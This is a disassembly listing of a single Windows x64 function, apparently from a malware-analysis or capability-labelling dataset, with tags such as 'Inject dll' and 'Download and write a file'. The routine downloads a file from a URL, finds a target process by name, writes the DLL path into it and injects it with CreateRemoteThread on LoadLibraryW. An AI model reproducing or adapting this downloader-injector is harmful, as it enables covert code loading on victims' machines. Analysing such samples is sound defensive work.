Function at 0x14004ad30
Capabilities:
Check if file exists
Create http request
Create thread
Delete file
Download and write a file
Enumerate processes
Get file attributes
Inject dll
Inject thread
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push r14
push r15
sub rsp, 0x690
cmp qword [rdx + 0x18], 7
mov r14, r9
mov rbx, r8
mov r15, rdx
mov rcx, rdx
jbe 0x14004ad57
mov rcx, qword [rdx]
mov qword [rsp + 0x6c0], rbp
mov qword [rsp + 0x688], rsi
mov qword [rsp + 0x680], rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14004ad95
cmp qword [r15 + 0x18], 7
mov rcx, r15
jbe 0x14004ad87
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x14004b0aa
xor ebp, ebp
lea rcx, str.UserAgent
xor r9d, r9d
mov dword [rsp + 0x20], ebp
xor r8d, r8d
mov edx, 1
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
je 0x14004b0aa
cmp qword [rbx + 0x18], 7
jbe 0x14004adc9
mov rbx, qword [rbx]
mov qword [rsp + 0x28], rbp
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x400100
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x14004b060
cmp qword [r15 + 0x18], 7
mov rcx, r15
jbe 0x14004ae01
mov rcx, qword [r15]
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
je 0x14004b05a
lea r9, [rsp + 0x6b0]
mov r8d, 0x400
lea rdx, [rsp + 0x280]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14004aeb6
nop word [rax + rax]
mov r8d, dword [rsp + 0x6b0]
test r8d, r8d
je 0x14004aeb6
lea r9, [rsp + 0x6b8]
mov qword [rsp + 0x20], rbp
lea rdx, [rsp + 0x280]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14004b04e
lea r9, [rsp + 0x6b0]
mov r8d, 0x400
lea rdx, [rsp + 0x280]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14004ae60
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor edx, edx
mov dword [rsp + 0x40], 0x238
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14004b0aa
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14004b0a1
nop dword [rax]
cmp qword [r14 + 0x18], 7
mov rdx, r14
jbe 0x14004af1d
mov rdx, qword [r14]
lea rax, [rsp + 0x6c]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp word [rax + rcx*2], bp
jne 0x14004af30
cmp rcx, qword [r14 + 0x10]
jne 0x14004b06b
test rcx, rcx
je 0x14004af68
lea r8, [rsp + 0x6c]
sub r8, rdx
movzx eax, word [rdx]
cmp word [r8 + rdx], ax
jne 0x14004b06b
add rdx, 2
sub rcx, 1
jne 0x14004af50
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14004b0a1
mov r8, qword [r15 + 0x10]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, rax
lea r8, [r8*2 + 2]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x14004b098
cmp qword [r15 + 0x18], 7
mov rax, qword [r15 + 0x10]
lea r9, [rax*2 + 2]
jbe 0x14004afcd
mov r15, qword [r15]
mov r8, r15
mov qword [rsp + 0x20], rbp
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14004b083
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.LoadLibraryW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14004b083
mov qword [rsp + 0x30], rbp
mov r9, rax
mov dword [rsp + 0x28], ebp
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x14004b083
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x14004b0ac
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14004b0aa
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14004af10
jmp 0x14004b0a1
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rdi, qword [rsp + 0x680]
mov rsi, qword [rsp + 0x688]
mov rbp, qword [rsp + 0x6c0]
add rsp, 0x690
pop r15
pop r14
pop rbx
ret